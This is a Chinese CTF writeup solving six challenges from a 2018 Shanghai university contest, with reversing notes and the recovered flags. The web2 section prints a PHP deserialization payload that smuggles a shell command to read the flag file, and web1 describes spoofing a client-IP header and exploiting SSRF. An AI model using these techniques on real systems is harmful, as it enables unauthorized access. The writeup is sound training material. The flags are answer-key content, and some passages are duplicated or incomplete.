2018“駭極杯”全國大學生網路安全邀請賽暨第四屆上海市大學生網路安全大賽線上賽 writeup
0x00 簽到題
操作內容:
|登陸比賽介面 上去看到簽到題,一般情況下 簽到題是沒有難度的 題目給定一串字元MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32一閃而過 ,比的就是手速,解碼拿到flag。
FLAG值:
flag{35222d30-439e-4afb-91f4-abebc73fe05c}
0x01 easy_py
操作內容:
|首先檢視二進位制檔案
03f3 0d0a bebc ce5b 6300 0000 0000 0000
000f 0000 0040 0000 0073 b200 0000 7106
0064 2333 7109 0064 0000 6401 0064 0200
這裡的2333很可疑,通過嘗試修改成1000,進行反編譯
1 0 JUMP_ABSOLUTE 6 'to 6'
3 LOAD_CONST 16 'right'
6 JUMP_ABSOLUTE 9 'to 9'
9 LOAD_CONST 0 ''
12 LOAD_CONST 1 10
15 LOAD_CONST 2 7
18
21 LOAD_CONST 4 29
24 LOAD_CONST 5 14
27 LOAD_CONST 2 7
30 LOAD_CONST 6 22
33 LOAD_CONST 6 22
36 LOAD_CONST 7 31
39 LOAD_CONST 8
42 LOAD_CONST 9 30
45 LOAD_CONST 10 9
48 LOAD_CONST 11 52
2 51 LOAD_CONST 12 27
54 BUILD_LIST_15 15
57 STORE_NAME 0 'cmp'
3 60 LOAD_NAME 1 'raw_input'
63 CALL_FUNCTION_0 0
4 66 STORE_NAME 2 'flag'
69 LOAD_CONST 0 ''
72 STORE_NAME 3 'm'
75 SETUP_LOOP 91 'to 169'
78 LOAD_NAME 2 'flag'
81 GET_ITER
82 FOR_ITER 83 'to 168'
85 STORE_NAME 4 'i'
88 LOAD_NAME 5 'ord'
91 LOAD_NAME 4 'i'
94 CALL_FUNCTION_1 1
97 UNARY_INVERT
98 LOAD_CONST 13 102
101 BINARY_AND
102 LOAD_NAME 5 'ord'
105 LOAD_NAME 4 'i'
108 CALL_FUNCTION_1 1
111 LOAD_CONST 18 -103
114 BINARY_AND
115 BINARY_OR
116 STORE_NAME 4 'i'
119 LOAD_NAME 4 'i'
122 LOAD_NAME 0 'cmp'
125 LOAD_NAME 3 'm'
128 BINARY_SUBSCR
129 COMPARE_OP 2 '=='
132 POP_JUMP_IF_FALSE 144 'to 144'
135 LOAD_NAME 3 'm'
8 138 UNARY_NEGATIVE
139 LOAD_CONST 14 -1
142 BINARY_ADD
143 UNARY_NEGATIVE
10 144 STORE_NAME 3 'm'
147 JUMP_BACK 73 'to 73'
150 CONTINUE 73 'to 73'
153 LOAD_CONST 15 'wrong'
156 PRINT_ITEM
157 PRINT_NEWLINE_CONT
158 LOAD_NAME 6 'exit'
161 CALL_FUNCTION_0 0
164 POP_TOP
165 JUMP_BACK 73 'to 73'
168 POP_BLOCK
169_0 COME_FROM '75'
169 LOAD_CONST 16 'right'
172 PRINT_ITEM
173 PRINT_NEWLINE_CONT
Parse error at or near `LOAD_CONST' instruction at offset 3
得到的是python的位元組碼,通過手動模擬彙編,寫出POC
const = [0, 10, 7, 1, 29, 14, 7, 22, 22, 31, 57, 30, 9, 52, 27]
flag = ""
for i in const:
flag = flag + chr((~i) & 0x66 | (-103 & i))
print flag
FLAG值:
flag{happy_xoR}
0x02 web1
操作內容:
開啟網頁什麼都沒有,很自然的開啟控制檯看一下原始碼。
裡面寫著讓我們找robots.txt,所以在url後新增robots.txt
顯示source.php和flag.php
我先開啟flag.php檢查了一下,什麼都沒有。然後開啟source.php
在原始碼裡寫著需要post引數admin,在測試注入的時候發現1有回顯,顯示只有本地才能拿到flag
第一反應是X-Forwarded-For繞過,結果不行,上網找了一排,挨個試了一下,X-Clien-IP,可以繞過。
之後原始碼裡跳出了一張img,分號比較顯眼,試了一下把照片下載下來,結果顯示301,這條路不行。
接著就是想這個分號,測試了一下,可以通過構造url來請求到資源,於是就想到是個ssrf漏洞。
接著構造請求訪問到flag.php,可以在原始碼裡看到註釋起來的flag。
FLAG值:
flag{11d340f0-0740-4229-9ff0-c2fca56f0706}
0x03 web2
操作內容:
存在原始碼洩露
然後使用 vi命令恢復得到
可得知是php反序列化 通過變數替換繞過
get 傳參部分:first=doller&a=var=give%26bbb=me%26ccc=flag
get部分有parsestr函式來完成變數覆蓋的操作
然後post部分
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bs%3A4%3A%22host%22%3Bs%3A20%3A%22123%26cat%24%7BIFS%7D%2Ffl%22%22ag%22%3B%7D%7D123
FLAG值:
flag{ca8ebda5-ab29-489f-aead-e60a929f65e8 }
0x04 cpp
操作內容:
|匯入IDA進行分析
在0x4011a函式中發現它首先將flag進行了((flag[i] >> 6) | 4*flag[i]) ^ i
處理
然後在401332函式中又進行了如下操作
flag[j] = (flag[j-1]|flag[j]) & ~(flag[j-1]&flag[j])
迴圈三次,等價於
flag[i] = flag[i] ^ flag[i-1]
然後在401332函式中又進行了如下操作
flag[j] = (flag[j-1]|flag[j]) & ~(flag[j-1]&flag[j])
迴圈三次,等價於
flag[i] = flag[i] ^ flag[i-1]
可得到flag
FLAG值:
flag{W0w_y0u_m4st3r_C_p1us_p1us}
0x05 What's_it
操作內容:
|第一步:暴力破解程式碼的金鑰 得到爆破出來的結果是:ozulmt
第二步:檢查函式的演算法 檢查輸入格式,再剪裁輸出,我們利用偽隨機數生成一串字元,將它與剪裁得到的輸入內容進行比較。將生成後的字串dump下來,整理格式,便得到flag
FLAG值:
flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}